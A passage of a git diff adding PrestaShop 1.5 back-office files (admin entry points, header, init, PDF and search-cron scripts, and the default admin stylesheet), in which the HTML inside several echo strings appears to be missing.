strpos($url, '&token=')) + $url .= '&token='.$adminObj->token; + + $message = translate('Invalid security token'); + echo ''.$message.' +
+ + '.$message.' +
'; + echo ' + + + + + + '; + die; + } + } + } + } + } +} diff --git a/BO/get-file-admin.php b/BO/get-file-admin.php new file mode 100755 index 0000000..b37f691 --- /dev/null +++ b/BO/get-file-admin.php @@ -0,0 +1,29 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +require(_PS_ADMIN_DIR_.'/config/config.inc.php'); +Controller::getController('GetFileController')->run(); \ No newline at end of file diff --git a/BO/grider.php b/BO/grider.php new file mode 100755 index 0000000..6e97baf --- /dev/null +++ b/BO/grider.php @@ -0,0 +1,64 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +include_once(_PS_ADMIN_DIR_.'/../config/config.inc.php'); + +$module = Tools::getValue('module'); +$render = Tools::getValue('render'); +$type = Tools::getValue('type'); +$option = Tools::getValue('option'); +$width = (int)(Tools::getValue('width', 600)); +$height = (int)(Tools::getValue('height', 920)); +$start = (int)(Tools::getValue('start', 0)); +$limit = (int)(Tools::getValue('limit', 40)); +$sort = Tools::getValue('sort', 0); // Should be a String. Default value is an Integer because we don't know what can be the name of the column to sort. +$dir = Tools::getValue('dir', 0); // Should be a String : Either ASC or DESC +$id_employee = (int)(Tools::getValue('id_employee')); +$id_lang = (int)(Tools::getValue('id_lang')); + + +if (!isset($cookie->id_employee) || !$cookie->id_employee || $cookie->id_employee != $id_employee) + die(Tools::displayError()); + +if (!Validate::isModuleName($module)) + die(Tools::displayError()); + +if (!Tools::file_exists_cache($module_path = dirname(__FILE__).'/../modules/'.$module.'/'.$module.'.php')) + die(Tools::displayError()); + +require_once($module_path); + +$grid = new $module(); +$grid->setEmployee($id_employee); +$grid->setLang($id_lang); +if ($option) + $grid->setOption($option); + +$grid->create($render, $type, $width, $height, $start, $limit, $sort, $dir); +$grid->render(); + + diff --git a/BO/header.inc.php b/BO/header.inc.php new file mode 100755 index 0000000..077fde8 --- /dev/null +++ b/BO/header.inc.php @@ -0,0 +1,359 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// P3P Policies (http://www.w3.org/TR/2002/REC-P3P-20020416/#compact_policies) +header('P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"'); +header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0'); +header('Pragma: no-cache'); +header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); + +echo ' + + + + + + + + + + + PrestaShop™ - '.translate('Administration panel').' + + + + + + + + + + + '.Hook::exec('displayBackOfficeHeader').' + + + + + employee->bo_color)) ? 'style="background:'.Tools::htmlentitiesUTF8(Context::getContext()->employee->bo_color).'"' : '').'> +
+
+ +
+
' + .(file_exists(_PS_ADMIN_DIR_.'/../install') ? '
' + .translate('For security reasons, you must also:').' '. + translate('delete the /install folder'). + '
' : '').' + '; + if(defined('_PS_MODE_DEV_') && _PS_MODE_DEV_) + echo '
This tab is an AdminTab
'; + +if (Shop::isFeatureActive() && Context::getContext()->controller->multishop_context != Shop::CONTEXT_ALL) +{ + echo '
+ '.translate('Multistore configuration for').''. + Helper::renderShopList(); + echo '
'; +} + diff --git a/BO/index.php b/BO/index.php new file mode 100755 index 0000000..f5fcc24 --- /dev/null +++ b/BO/index.php @@ -0,0 +1,50 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$timer_start = microtime(true); +define('_PS_ADMIN_DIR_', getcwd()); + +require(_PS_ADMIN_DIR_.'/../config/config.inc.php'); +require(_PS_ADMIN_DIR_.'/functions.php'); + +//small test to clear cache after upgrade +if (Configuration::get('PS_UPGRADE_CLEAR_CACHE')) +{ + header('Cache-Control: max-age=0, must-revalidate'); + header('Expires: Mon, 06 Jun 1985 06:06:00 GMT+1'); + Configuration::updateValue('PS_UPGRADE_CLEAR_CACHE', 0); +} + +// For retrocompatibility with "tab" parameter +if (!isset($_GET['controller']) && isset($_GET['tab'])) + $_GET['controller'] = strtolower($_GET['tab']); +if (!isset($_POST['controller']) && isset($_POST['tab'])) + $_POST['controller'] = strtolower($_POST['tab']); +if (!isset($_REQUEST['controller']) && isset($_REQUEST['tab'])) + $_REQUEST['controller'] = strtolower($_REQUEST['tab']); + +// Prepare and trigger admin dispatcher +Dispatcher::getInstance()->dispatch(); \ No newline at end of file diff --git a/BO/init.php b/BO/init.php new file mode 100755 index 0000000..441433a --- /dev/null +++ b/BO/init.php @@ -0,0 +1,148 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +ob_start(); +$timerStart = microtime(true); + +// $_GET['tab'] = $_GET['controller']; +// $_POST['tab'] = $_POST['controller']; +// $_REQUEST['tab'] = $_REQUEST['controller']; +try +{ + $context = Context::getContext(); + if (isset($_GET['logout'])) + $context->employee->logout(); + + if (!isset($context->employee) || !$context->employee->isLoggedBack()) + Tools::redirectAdmin('index.php?controller=AdminLogin&redirect='.$_SERVER['REQUEST_URI']); + + // Set current index + // @deprecated global will be removed in 1.6 + global $currentIndex; // retrocompatibility; + $currentIndex = $_SERVER['SCRIPT_NAME'].(($controller = Tools::getValue('controller')) ? '?controller='.$controller: ''); + + if ($back = Tools::getValue('back')) + $currentIndex .= '&back='.urlencode($back); + AdminTab::$currentIndex = $currentIndex; + + $iso = $context->language->iso_code; + include(_PS_TRANSLATIONS_DIR_.$iso.'/errors.php'); + include(_PS_TRANSLATIONS_DIR_.$iso.'/fields.php'); + include(_PS_TRANSLATIONS_DIR_.$iso.'/admin.php'); + + /* Server Params */ + $protocol_link = (Configuration::get('PS_SSL_ENABLED')) ? 'https://' : 'http://'; + $protocol_content = (isset($useSSL) AND $useSSL AND Configuration::get('PS_SSL_ENABLED')) ? 'https://' : 'http://'; + $link = new Link($protocol_link, $protocol_content); + $context->link = $link; + if (!defined('_PS_BASE_URL_')) + define('_PS_BASE_URL_', Tools::getShopDomain(true)); + if (!defined('_PS_BASE_URL_SSL_')) + define('_PS_BASE_URL_SSL_', Tools::getShopDomainSsl(true)); + + $path = dirname(__FILE__).'/themes/'; + // if the current employee theme is not valid (check layout.tpl presence), + // reset to default theme + if (empty($context->employee->bo_theme) || + !file_exists($path.$context->employee->bo_theme.'/template/layout.tpl')) + { + // default admin theme is "default". + $context->employee->bo_theme = ''; + if (file_exists($path.'default/template/layout.tpl')) + $context->employee->bo_theme = 'default'; + else + { + // if default theme doesn't exists, try to find one, otherwise throw exception + foreach (scandir($path) as $theme) + if ($theme[0] != '.' && file_exists($path.$theme.'/template/layout.tpl')) + { + $context->employee->bo_theme = $theme; + break; + } + // if no theme is found, admin can't work. + if (empty($context->employee->bo_theme)) + throw new PrestaShopException('Unable to load theme for employee, and no valid theme found'); + } + $context->employee->update(); + } + + // Change shop context ? + if (Shop::isFeatureActive() && Tools::getValue('setShopContext') !== false) + { + $context->cookie->shopContext = Tools::getValue('setShopContext'); + $url = parse_url($_SERVER['REQUEST_URI']); + $query = (isset($url['query'])) ? $url['query'] : ''; + parse_str($query, $parseQuery); + unset($parseQuery['setShopContext']); + Tools::redirectAdmin($url['path'] . '?' . http_build_query($parseQuery, '', '&')); + } + + $context->currency = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); + + + if ($context->employee->isLoggedBack()) + { + $shop_id = ''; + Shop::setContext(Shop::CONTEXT_ALL); + if ($context->cookie->shopContext) + { + $split = explode('-', $context->cookie->shopContext); + if (count($split) == 2) + { + if ($split[0] == 'g') + { + if ($context->employee->hasAuthOnShopGroup($split[1])) + Shop::setContext(Shop::CONTEXT_GROUP, $split[1]); + else + { + $shop_id = $context->employee->getDefaultShopID(); + Shop::setContext(Shop::CONTEXT_SHOP, $shop_id); + } + } + elseif ($context->employee->hasAuthOnShop($split[1])) + { + $shop_id = $split[1]; + Shop::setContext(Shop::CONTEXT_SHOP, $shop_id); + } + else + { + $shop_id = $context->employee->getDefaultShopID(); + Shop::setContext(Shop::CONTEXT_SHOP, $shop_id); + } + } + } + + // Replace existing shop if necessary + if (!$shop_id) + $context->shop = new Shop(Configuration::get('PS_SHOP_DEFAULT')); + else if ($context->shop->id != $shop_id) + $context->shop = new Shop($shop_id); + } +} +catch(PrestaShopException $e) +{ + $e->displayMessage(); +} diff --git a/BO/login.php b/BO/login.php new file mode 100755 index 0000000..7177d09 --- /dev/null +++ b/BO/login.php @@ -0,0 +1,27 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Location: index.php?controller=AdminLogin'); \ No newline at end of file diff --git a/BO/password.php b/BO/password.php new file mode 100755 index 0000000..7b22297 --- /dev/null +++ b/BO/password.php @@ -0,0 +1,26 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +header('Location: index.php?controller=AdminLogin'); \ No newline at end of file diff --git a/BO/pdf.php b/BO/pdf.php new file mode 100755 index 0000000..a1ec6f5 --- /dev/null +++ b/BO/pdf.php @@ -0,0 +1,59 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +include(_PS_ADMIN_DIR_.'/../config/config.inc.php'); + +/** + * @deprecated 1.5.0 + * This file is deprecated, please use AdminPdfController instead + */ +Tools::displayFileAsDeprecated(); + +if (!Context::getContext()->employee->id) + Tools::redirectAdmin('index.php?controller=AdminLogin'); + +$function_array = array( + 'pdf' => 'generateInvoicePDF', + 'id_order_slip' => 'generateOrderSlipPDF', + 'id_delivery' => 'generateDeliverySlipPDF', + 'delivery' => 'generateDeliverySlipPDF', + 'invoices' => 'generateInvoicesPDF', + 'invoices2' => 'generateInvoicesPDF2', + 'slips' => 'generateOrderSlipsPDF', + 'deliveryslips' => 'generateDeliverySlipsPDF', + 'id_supply_order' => 'generateSupplyOrderFormPDF' +); + +$pdf_controller = new AdminPdfController(); +foreach ($function_array as $var => $function) + if (isset($_GET[$var])) + { + $pdf_controller->{'process'.$function}(); + exit; + } + +exit; \ No newline at end of file diff --git a/BO/searchcron.php b/BO/searchcron.php new file mode 100755 index 0000000..c6a7724 --- /dev/null +++ b/BO/searchcron.php @@ -0,0 +1,38 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +include(_PS_ADMIN_DIR_.'/../config/config.inc.php'); +Context::getContext()->shop->setContext(Shop::CONTEXT_ALL); + +if (substr(_COOKIE_KEY_, 34, 8) != Tools::getValue('token')) + die; + +ini_set('max_execution_time', 7200); +Search::indexation(Tools::getValue('full')); +if (Tools::getValue('redirect')) +Tools::redirectAdmin($_SERVER['HTTP_REFERER'].'&conf=4'); + diff --git a/BO/tabs/index.php b/BO/tabs/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/tabs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/themes/default/css/admin.css b/BO/themes/default/css/admin.css new file mode 100755 index 0000000..8e2dca8 --- /dev/null +++ b/BO/themes/default/css/admin.css @@ -0,0 +1,704 @@ +body {font-family: Arial, Helvetica, sans-serif;} + + +h1, h2, h3, h4 { font-family: Arial, Helvetica, sans-serif; margin-bottom:.5em; line-height:1.4em; } +h2 { font-size:1.7em; } +h3 { font-size:1.25em; } +h4 { font-size:1.05em; } +h6 { font-size:1em; } + + +/*LIST*/ +ul,ol {list-style:none; margin: 0; padding: 0;} +ul li {color:#585A69;} + +/*FORM*/ +label {color:#585a69;text-shadow:0 1px 0#fff;} +fieldset{background-color:#EBEDF4; border:1px solid #CCCED7; color:#585A69; font-size:1.1em;margin:0;padding:1em} +.Bloc {background-color:#EBEDF4; border:1px solid #CCCED7;font-size:1.1em;margin:0;padding:1em} +legend{background:#EBEDF4;border:1px solid #CCCED7;font-weight:700;margin:0;padding:.2em .5em;text-align:left} +input[type="text"],input[type="password"],input[type="file"],textarea {border:1px solid #ccc; background-color:#fff;} +input[type="text"]:disabled,input[type="password"]:disabled,input[type="file"]:disabled,textarea:disabled {border:1px solid #ccc; background-color:#dedede; color: #444444;} +select { border:1px solid #ccc; font-size: 12px;} +select[disabled="disabled"], input[disabled="disabled"],textarea[disabled="disabled"], option[disabled="disabled"] {border: 1px solid #CCCCCC;color: #AAAAAA} +.header_module{background:url('../img/header_module.png');padding-left: 0.5em;padding-top: 0.8em;height:20px;color: #812143;border:solid 1px #CCC;} +.double_select select{width:300px;height:160px;} +.double_select a{text-align:center;display:block;border:1px solid #aaa;text-decoration:none;background-color:#fafafa;color:#123456;margin:2px;padding:2px} + +/*BUTTON*/ +.button{ + background: #e3e3e3 url('../img/bg-button-degrade.png') repeat-x scroll left top; + background: -moz-linear-gradient(center top , #F9F9F9, #E3E3E3) repeat scroll 0 0 transparent; + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#E3E3E3)) repeat scroll 0 0 transparent; + border-color: #CCCCCC #BBBBBB #A0A0A0;border-left: 1px solid #BBBBBB;border-radius: 3px 3px 3px 3px;border-right: 1px solid #BBBBBB;border-style: solid;border-width: 1px;color: #000000;margin: 0; outline: medium none;padding: 3px 8px;text-align: center;vertical-align: middle;white-space: nowrap; text-shadow:0 1px 0 #fff;} +.button[disabled=disabled]{color:#8C8C8C} +.button.bt-icon { display:inline-block; margin-bottom:7px;} +.button.bt-icon span {padding-left:5px;} +input.button[disabled=disabled]:hover{background-color:#FFF6D3} +.button:hover{border:1px solid #939393;} +.button:active{border:1px solid #939393;} +.button.export-csv span{ background: transparent url('../img/export-csv.png') no-repeat scroll left top; padding:1px 0 1px 20px} + + +#top_container{margin:0;padding:0} + +/*HEADER*/ +#header { background-color: #394049; height:90px; } +/* Portrait orientation targeting */ +@media screen and (orientation: portrait) {#header{min-width:1250px}} +/* Portrait orientation targeting */ +@media screen and (orientation: landscape) {#header{min-width:1250px}} +#header #header_infos{ position:relative; margin: 0; padding:0; height:60px; } +#header #header_shopname {float: left; margin:10px 15px 0 10px;} +#header #employee_box {float: right; display:block;} +#header #employee_infos {display:block; margin:5px 15px 0 10px;} +#header #employee_infos a{color:#BABABA; text-transform:capitalize;margin-right: 5px} +#header #employee_infos a:hover {color:#fff;} +#header #employee_infos .employee_name { float:left; color:#fff;padding: 0 20px 0 0;} +#header .separator { background: transparent url('../img/separator.png') no-repeat scroll center top;height: 19px; width: 16px; margin-right: 5px} +#header ul#employee_links {list-style: none;display: block;text-align: left;} +#header ul#employee_links li {display: inline;line-height: 20px;} + +#header #header_infos #header_shopname span{display:block; font-size:24px; height:28px; overflow:hidden;margin:0; color:#fff; text-shadow: 0 1px 0 #000000;} +#header #header_infos a#header_logout { background: transparent url('../img/logout.png') no-repeat scroll left top; padding-left:20px; color:#bababa;} +#header #header_infos a#header_logout:hover {color:#fff;} +#header #header_infos #header_logout a span {color:#bababa} +#header #header_infos #header_foaccess{ text-decoration:none; color:#bababa;} +#header #header_infos #header_foaccess a {color:#bababa !important;} +#header #header_infos a#header_foaccess:hover { color:#fff;} + + + +#header #header_search{ background-color:#fff; border:2px solid #000; float:left; margin-top:15px; position:relative; height:25px; box-shadow: 0 1px 0 #666666; } +#header #header_search #bo_query{ font: 13px Arial,sans-serif; float:left;background: none repeat scroll 0 0 transparent; border:none; box-shadow:none; padding: 5px 0px 5px 4px; width: 160px; } +#header #header_search #bo_search_type_chzn{ font-size:13px; float:left; margin:0 23px 0 0; padding:0 4px; vertical-align:middle;width:80px !important;height:27px; border:none;} +#header #header_search #bo_search_type_chzn.chzn-container-single .chzn-single { box-shadow:none; border-radius:0px; border:none; border-left:1px dotted #ccc;} +#header #header_search #bo_search_submit { background: url('../img/icon-search2.png') no-repeat scroll center; border:none; width:27px; height:25px; float:left; font-weight:normal; margin:0; padding:0; cursor:pointer; text-indent:-9999em; position:absolute; right:0; display:block; border-left:1px solid #3079ED; border-radius:0px; /*hacking ie7*/ font-size:0 !ie7; color: transparent !ie;} +#header #header_quick{float:right; display:block; margin-top:15px;} +#header #header_quick #quick_select_chzn{ font-size:13px; margin:0 10px 0 0; padding:0px 0 4px; } +#header #header_myaccount{background:url('../img/bg-lang.png') no-repeat;display:block;float:right;height:16px;margin:8px 1px 0 0;width:16px} + + +.path_bar {display:none;} +#notifs_icon_wrapper {float: left;position: relative;margin:15px 10px 0; width:95px;} +.notifs { float: left;position: relative;cursor: pointer;margin:0; padding:5px; width: 18px;height: 16px;} +#orders_notif {background: url('../img/notif_order.png') no-repeat center top;} +#customers_notif {background: url('../img/notif_customer.png') no-repeat center top;} +#customer_messages_notif {background: url('../img/notif_message.png') no-repeat center top;} +#orders_notif.open_notifs, +#customers_notif.open_notifs, +#customer_messages_notif.open_notifs { background-color: #FFFFFF;border: 1px solid #000000; position: relative; display: block; background-position:center bottom; } + + +.number_wrapper {color: white;display: none;font-size: 13px;font-weight: bold;position: absolute; right: -8px;top: -10px;z-index: 101;padding: 2px 5px;} +.number_wrapper span {background-color: #F03D25; font-size:11px; display: block; padding: 1px 3px;border-color: -moz-use-text-color #DD3822 #DD3822;border-radius: 2px 2px 2px 2px;border-right: 1px solid #DD3822;border-style: none solid solid;border-width: 0 0px;} +.notifs_wrapper {background: none repeat scroll 0 0 #FFFFFF; border: 1px solid #000; border-top:none;display: none; cursor:auto; position: absolute; top: 25px; left: -1px; width:300px; padding: 10px;color: black; z-index:9999;} +.notifs_wrapper h3 {font-size: 14px;padding-bottom:8px;margin:0;border-bottom: 1px solid #E5E5E5;} +.notifs_wrapper ul {padding:6px 0;margin:0;} +.notifs_wrapper ul li {text-decoration: none;list-style: none;font-size:12px;padding:5px 0;} +#header_infos .notifs_wrapper a {font-weight: bold; font-size:11px; color: black; float:right;} +.notifs_wrapper p {font-size: 12px;padding-top:8px;margin:0;border-top: 1px solid #E5E5E5;} +.notifs_wrapper p.no_notifs {border: none;} + + +/*MENU*/ +#header #menu{ background-color: #f8f8f8; border-bottom:1px solid #e5e5e5; float:left;line-height:normal;margin:0;padding:0;width:100%;} +#header #menu li.maintab{float:left;height:29px;list-style:none;list-style:none;display:block; border-left:1px solid #fff; border-right:1px solid #ccc;} +#header #menu li.submenu_size .title{cursor:default;color:#000;display:block; padding:8px 3px 4px 0;font-weight:normal;font-size:12px;} +#header #menu li.submenu_size .title{_display:inline;_padding:6px 5px 4px 0} +#header #menu li{_height:32px;_padding-top:3px} +#header #menu img{display:inline;padding:0 3px 0 6px; margin-top:-4px; vertical-align:middle;width:16px;height:16px} +#header #menu li.active, #header #menu li:hover{background-position:0 -38px;white-space:nowrap;} +#header #menu li.active a{} +#header #menu li:hover, #header #menu li.active {background-color:#49B2FF;} +#header #menu li.maintab:hover, #header #menu li.active {border-left:1px solid #49B2FF;border-right:1px solid #49B2FF;} +#header #menu li.active a.title, #header #menu li:hover a.title {color:#fff; text-shadow: -1px -1px 0 #3293D6;} +#header #menu .withLeftBorder{background:transparent url('../img/separator_subnav.png') no-repeat 0 5px} +#header #menu .submenu{background:#f8f8f8;clear:both;margin:0;padding:0;border:1px solid #d9d9d9;z-index:9999; box-shadow: 1px 5px 5px #CCCCCC; -moz-box-shadow:1px 5px 10px #CCCCCC; -webkit-box-shadow:1px 5px 10px #CCCCCC;} +#header #menu .submenu li{list-style:none;margin:0;padding:0;display:block;min-width:150px;} +#header #menu .submenu li a{ font-size:12px;display:block;padding: 5px 15px 5px 10px; color:#666666;border-top:1px solid #fff; border-bottom:1px solid #ccc;} +#header #menu .submenu li a:hover { background-color:#eee; text-shadow:0 1px 0 #fff;} + +/*SEPARATION*/ +.separation { background-color:#ccc;border-bottom:1px solid #fff; width:100%; height:1px; margin:10px 0;} + +/*TABLE*/ +.table_grid {width:100%;} +.table{ background-color:#fff;border:1px solid #ccc;padding:0: border-radius:3px; -moz-border-radius:3px;-webkit-border-radius:3px;} +.filter {background-color:#f1f9ff;} +.table .filter {margin:2px;} +.table th a{text-decoration:underline} +.table a:hover{text-decoration:none} +.table tr th{ background-color: #F1F1F1; text-shadow:0 1px 0 #fff; padding:4px 6px; + background: #ececec url('../img/bg-degrade-table.png') repeat-x scroll left top; + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + font-size:13px; text-align:left; color:#333;} +.table tr th.right { text-align:center;} +.table tr td{border-bottom:1px solid #ccc;color:#333;font-size:12px;padding: 4px 4px 4px 6px;} +.table tr.row_hover:hover td{background:#fff1b5} +.table tr.row_hover.filter:hover td{background:#F1F9FF} +.table tr td.row_hover:hover table tr td{background:none} +.table tr.action_details td{background:#FAFAFA;} +.table tr.alt_row.action_details td{background:#E8E8E8;} +.table tr td.empty{border-bottom:none;background:white!important} +.table tr td.first{border-left:1px solid #DEDEDE} +.table tr td.last{border-right:1px solid #DEDEDE} +.table tr.small td{height:15px} +.table tr.last td{border-bottom:none} +.col-left {vertical-align:top; padding-right:10px;} +.col-right {padding-bottom:5px;} +#tabPane1 td.col-left { width:200px;} +#product-tab-content-wait{display:block;background:url('../img/bg_loaderSpace.png');min-height:420px;position:absolute;width:96.5%;} +div#loading{height:128px;width:128px;background:url('../img/ajax-loader.gif');display:block;text-indent:-9999px;margin:100px auto;} +td.col-left label { display:block; width:100%; text-align:right;} +.alt_row{background-color:#f8f8f8} +.path_bar{background-color:#E2EBEE;border:1px solid #999999;font-family:Trebuchet,Arial,Helvetica,sans-serif;font-size:13px;margin-bottom:20px;padding:5px} +.path_bar a{font-weight:700} +.cat_bar{background-color:#F4E8CD;border:1px solid #999999;font-family:Trebuchet,Arial,Helvetica,sans-serif;font-size:12px;font-weight:700;margin-bottom:20px;padding:5px} +.cat_bar a{font-weight:700} + +.table tr#total_products, +.table tr#total_discounts, +.table tr#total_wrapping, +.table tr#total_shipping { height:35px;} +.table tr#total_order { height:50px;} + + +a.action_module{color: #268CCD;text-decoration: underline;} +a.header_module_toggle{font-weight: bold;color: #268CCD;display:block;} +a.module_toggle_all{color: #268CCD;} +.nbr_module{float:right;margin-right:10px;font-style:italic;font-size:12px;color: #268CCD;} + +.autoupgradeSteps div { line-height: 30px; } +.upgradestep { margin-right: 5px;padding-left: 10px; padding-right: 5px;} +#upgradeNow.stepok, .autoupgradeSteps a.stepok { background-image: url('../img/admin/enabled.gif');background-position: left center;background-repeat: no-repeat;padding-left: 15px;} +#upgradeNow {-moz-border-bottom-colors: none;-moz-border-image: none;-moz-border-left-colors: none;-moz-border-right-colors: none;-moz-border-top-colors: none;border-color: #FFF6D3 #DFD5AF #DFD5AF #FFF6D3;border-right: 1px solid #DFD5AF;border-style: solid;border-width: 1px;color: #268CCD;font-size: medium;padding: 5px;} +.button-autoupgrade {-moz-border-bottom-colors: none;-moz-border-image: none;-moz-border-left-colors: none;-moz-border-right-colors: none;-moz-border-top-colors: none;border-color: #FFF6D3 #DFD5AF #DFD5AF #FFF6D3;border-right: 1px solid #DFD5AF;border-style: solid;border-width: 1px;color: #268CCD;font-size: medium;padding: 5px;} +.processing {overflow: auto;} + +/*UI ACCORDEON*/ +.ui-accordion-header { background-color: #ccc; color:#000;} + +/*BLOC*/ +.Bloc { background: none repeat scroll 0 0 #EBEDF4;} + + +/*TABLE STATUS COMMANDE*/ +.table td span.color_field { font-size:11px; padding:2px 5px; border-radius:3px; text-transform:uppercase; color:#fff; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;} + +/*multishop toolbar*/ +.multishop_toolbar { background-color: #F8F8F8; border: 1px solid #CCCCCC; margin-bottom:10px; padding: 10px; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; font-size: 18px;} +.multishop_toolbar span.text_multishop {vertical-align: 7px; padding-right: 5px; } +.multishop_toolbar select.shopList { width: 300px; } +.multishop_toolbar a.chzn-single { background: url('../img/icon-multishop.png') no-repeat 5px 5px; padding: 1px 2px 2px 25px; font-weight: bold; } + +.multishop_toolbar .chzn-container .chzn-results .first{font-weight: bold;background-color: #408BD5;color: #ffffff;} +.multishop_toolbar .chzn-container .chzn-results .group{font-weight: bold;font-style: italic;padding-left: 15px;background-color: #C6DEFC;} +.multishop_toolbar .chzn-container .chzn-results .shop{padding-left: 30px;background-color: #EAF2FC;} + +/*toolbarBox*/ +.toolbar-placeholder {position:relative} +.toolbarBox {background-color: #F8F8F8; border: 1px solid #CCCCCC; margin-bottom:10px; padding: 5px 0; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;-o-border-radius:3px;position:relative} +.toolbarBox .pageTitle { margin-left:10px; line-height:48px} +.toolbarBox .pageTitle h3 {font-size: 1.6em; font-weight: normal; line-height: 52px; margin: 0; padding: 0; text-shadow:0 1px 0 #fff;} +.toolbarBox ul.cc_button {float:right;margin:0 5px 0 0;padding:0;} +.toolbarBox ul.cc_button li {color: #666666; float: left; height: 48px; list-style: none outside none; padding: 1px 1px 3px 4px; text-align: center;} +.toolbarBox a.toolbar_btn { border:1px solid #f8f8f8; min-width:50px; border-width: 1px; font-size:11px;cursor: pointer; display: block; float: left; padding: 3px 5px; white-space: nowrap; text-shadow: 0 1px 0 #ffffff;} +.toolbarBox a.toolbar_btn:hover { background-color:#fff; border:1px inset #ccc; border-radius:3px;-moz-border-radius:3px; -webkit-border-radius:3px;-o-border-radius:3px;} +.toolbarBox .toolbar_btn span{ display: block;float: none;height: 32px;margin: 0 auto;width: 32px; /*hacking ie7*/ margin:0 !ie; position:relative !ie;} +.toolbarBox .process-icon-delete { background-image: url('../img/process-icon-delete.png');} +.toolbarBox .process-icon-duplicate { background-image: url('../img/process-icon-duplicate.png');} +.toolbarBox .process-icon-preview { background-image: url('../img/process-icon-preview.png');} +.toolbarBox .process-icon-stats { background-image: url('../img/process-icon-stats.png');} +.toolbarBox .process-icon-cancel, .toolbarBox .toolbar-cancel { background-image: url('../img/process-icon-cancel.png');} +.toolbarBox .process-icon-new, .toolbarBox .toolbar-new{ background-image: url('../img/process-icon-new.png');} +.toolbarBox .process-icon-save { background-image: url('../img/process-icon-save.png');} +.toolbarBox .process-icon-save-and-stay { background-image: url('../img/process-icon-save-and-stay.png');} +.toolbarBox .process-icon-edit { background-image: url('../img/process-icon-edit.png');} +.toolbarBox .process-icon-back { background-image: url('../img/process-icon-back.png');} +.toolbarBox .process-icon-refresh-index { background-image: url('../img/process-icon-refresh-index.png');} +.toolbarBox .process-icon-refresh-cache { background-image: url('../img/process-icon-refresh-cache.png');} +.toolbarBox .process-icon-save-calendar { background-image: url('../img/process-icon-save-calendar.png');} +.toolbarBox .process-icon-new-module { background-image: url('../img/process-icon-new-module.png');} +.toolbarBox .process-icon-new-url { background-image: url('../img/process-icon-new-url.png');} +.toolbarBox .process-icon-new-module-addon { background-image: url('../img/process-icon-new-module-addon.png');} +.toolbarBox .process-icon-save-and-preview { background-image: url('../img/process-icon-preview.png');} +.toolbarBox .process-icon-import { background-image: url('../img/process-icon-export-csv.png');} +.toolbarBox .process-icon-export { background-image: url('../img/process-icon-export-csv.png');} +.toolbarBox .process-icon-export-all { background-image: url('../img/process-icon-export-csv-details.png');} +.toolbarBox .process-icon-export-stock-state-quantities-csv { background-image: url('../img/process-icon-export-csv.png');} +.toolbarBox .process-icon-export-stock-state-prices-csv { background-image: url('../img/process-icon-export-csv-details.png');} +.toolbarBox .process-icon-export-csv-orders { background-image: url('../img/process-icon-export-csv.png');} +.toolbarBox .process-icon-export-csv-details { background-image: url('../img/process-icon-export-csv-details.png');} +.toolbarBox .process-icon-export-stock-mvt-csv { background-image: url('../img/process-icon-export-csv.png');} +.toolbarBox .process-icon-newAttributes, .toolbarBox .toolbar-new{ background-image: url('../img/process-icon-new.png');} +.toolbarBox .process-icon-new.add_product{ background-image: url('../img/process-icon-addProduct.png');} +.toolbarBox .process-icon-partialRefund{ background-image: url('../img/process-icon-partial-refund.png');} +.toolbarBox .process-icon-standardRefund{ background-image: url('../img/process-icon-standard-refund.png');} +.toolbarBox .process-icon-help{ background-image: url('../img/process-icon-help.png');} +.toolbarBox .process-icon-help-new{ background-image: url('../img/process-icon-help-new.png');} +.toolbarBox .process-icon-modules-list{ background-image: url('../img/process-icon-modules-list.png');} + +.toolbarReduced {margin-right:221px} +#modules_list_button 